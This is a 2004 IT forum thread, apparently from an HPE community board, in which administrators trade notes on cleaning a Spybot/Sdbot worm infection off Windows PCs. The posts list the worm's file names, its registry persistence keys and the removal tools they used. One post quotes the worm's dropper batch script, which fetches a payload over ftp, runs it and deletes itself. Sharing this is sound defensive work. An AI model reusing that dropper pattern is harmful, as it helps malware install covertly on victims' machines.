- Community Home
- >
- Servers and Operating Systems
- >
- Operating Systems
- >
- Operating System - Microsoft
- >
- bling,un1oad,msupdate32,winssv,winfirewall virus a...
Categories
Company
Local Language
Forums
Discussions
Forums
- Data Protection and Retention
- Entry Storage Systems
- Legacy
- Midrange and Enterprise Storage
- Storage Networking
- HPE Nimble Storage
Discussions
Discussions
Discussions
Discussions
Forums
Forums
Discussions
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
- BladeSystem Infrastructure and Application Solutions
- Appliance Servers
- Alpha Servers
- BackOffice Products
- Internet Products
- HPE 9000 and HPE e3000 Servers
- Networking
- Netservers
- Secure OS Software for Linux
- Server Management (Insight Manager 7)
- Windows Server 2003
- Operating System - Tru64 Unix
- ProLiant Deployment and Provisioning
- Linux-Based Community / Regional
- Microsoft System Center Integration
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Discussion Boards
Community
Resources
Forums
Blogs
- Subscribe to RSS Feed
- Mark Topic as New
- Mark Topic as Read
- Float this Topic for Current User
- Bookmark
- Subscribe
- Printer Friendly Page
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО10-05-2004 07:54 AM
тАО10-05-2004 07:54 AM
I found a program called Pocket Killbox.exe
http://download.broadbandmedic.com/Killbox.exe
which will stop the evil processes and can even remove them. Then I run HijackThis and get it out of the registry that way.
The virus is using port 445. Our IT folk have not been keeping up with the MS patches which is understandable I guess since we were in Chapter 11 and are now being merged with our rivals and they have been laying off people right and left.
The worm creates a hidden system folder called !Submit and drops two files called bling.exe and load.exe in the folder. Seems to mutate as you kill it. Kill off bling.exe and a little later you have msconfig32.exe and a little while after that you have winssv.exe which is followed by winfirewall.exe. You also get several files with misspellings of load or loud and also an un1oad with a 1 (one) instead of an L). By using Killbox on the System Process menu you can usually kill all of the critters off but you have to be fast. (The killbox instructions just say to type in the full path but it works better if you use the dropdown menu which says System Process then select the bad file and press the Yellow triangle. That just stops the process (which Task Manager and Process Explorer can't do) and you still have to delete. Sometimes you have to use Killbox to delete the files. There is a small Open Folder icon which you can click on and then drill down to C:\winnt\system32. Once you select the file you can press the Red button to kill it.
Then HijackThis will let you kill off the registry entries that start the mess. (The processes claim to be Microsoft Updates but don't believe them.) You have to kill the running processes off first or they put the registry entries right back after HijackThis finishes.
Before reconnecting to the network you have to install ZoneAlarm or it won't stay uninfected long enough to get any updates from MS. ZoneAlarm is really usueful in another way since its alerts tell you which PCs are infected.
Got to run. Have another 20 PCs to clean.
Ron
Solved! Go to Solution.
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО10-05-2004 12:30 PM
тАО10-05-2004 12:30 PM
Re: bling,un1oad,msupdate32,winssv,winfirewall virus attack
Did find another version of the virus: svhost.exe
Ron
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО10-05-2004 12:34 PM
тАО10-05-2004 12:34 PM
Re: bling,un1oad,msupdate32,winssv,winfirewall virus attack
Wondering if you invoked ICF or WF (SP2) if it would block the attacks (both ICF and WF are supposed to be "stateful", in that if you did NOT originate the request out the port, it will block the request incoming to the port).
Jon
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО10-06-2004 01:18 AM
тАО10-06-2004 01:18 AM
Re: bling,un1oad,msupdate32,winssv,winfirewall virus attack
Jon,
Doubt we will get a chance to experiment. Now that we have a cure the emphasis is on getting everybody back up. But thanks anyway.
Ron
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО10-06-2004 05:32 AM
тАО10-06-2004 05:32 AM
Re: bling,un1oad,msupdate32,winssv,winfirewall virus attack
Ron
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО10-29-2004 08:51 AM
тАО10-29-2004 08:51 AM
Re: bling,un1oad,msupdate32,winssv,winfirewall virus attack
Deleting the files and replacing them with files of the same name but with read-only flag set is a great idea. However, this does assume that we know all of the files that have been or may be created by the Virus. If you have a list, I would more than appreciate a look see.
Thanks.
David
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО10-29-2004 11:43 PM
тАО10-29-2004 11:43 PM
SolutionThen Norton firewall warned that winaiva.exe was attempting to connect with a high risk attack rating.
i used task manager to end the task to be able to rename the file in _old..
i discoverd also a c.bat which point to .pif and install winssv like this :
@echo off
ftp -n -v -s:.pif
winssv.exe
del .pif
del /F c.bat
exit /y
next step will be to check if registry has been changed but it seems that NAV has done the right move before the worm can go further.
as I didnt find winssv anywhere
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО10-29-2004 11:54 PM
тАО10-29-2004 11:54 PM
Re: bling,un1oad,msupdate32,winssv,winfirewall virus attack
[Virus Known As (McAfee)]
W32/Sdbot.worm=1
[Virus Known As (Symantec)]
W32.Spybot.Worm=1
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\]
Win32 SSL Driver=winssv.exe
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\]
Win32 SSL Driver=winssv.exe
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\]
Win32 SSL Driver=winssv.exe
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\]
Win32 SSL Driver=winssv.exe
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\]
Win32 SSL Driver=winssv.exe
[FileCreated]
c:\windows\system32\winssv.exe=1
[ProcessCreated]
C:\WINDOWS\system32\winssv.exe=1
[ThreadCreated]
Count=4
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО11-02-2004 02:15 AM
тАО11-02-2004 02:15 AM
Re: bling,un1oad,msupdate32,winssv,winfirewall virus attack
I found the c.bat file too but forgot to mention it and didn't find it until after I had written my program. It had about the same date and time as the o file. The winavia file never showed up so I guess you have a later mutation.
I will post my fakeit program as an attachment if anyone is interested. If you want to run it you will need to rename it to change the txt to bat
Ron
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО11-21-2004 09:20 PM
тАО11-21-2004 09:20 PM
Re: bling,un1oad,msupdate32,winssv,winfirewall virus attack
Regards
Danny
- Mark as New
- Bookmark
- Subscribe
- Mute
- Subscribe to RSS Feed
- Permalink
- Report Inappropriate Content
тАО11-21-2004 11:26 PM
тАО11-21-2004 11:26 PM
Re: bling,un1oad,msupdate32,winssv,winfirewall virus attack
If you don't know what file you want to kill then there is no point in using Killbox. Instead why don't you get HijackThis and Scan your system with it and then Save Log. Then start your own New Thread with HijackThis in the Subject with the log as an attachment and a short description of your problem. I will see it and tell you what to do next.
http://209.133.47.12/~merijn/files/HijackThis.exe
Ron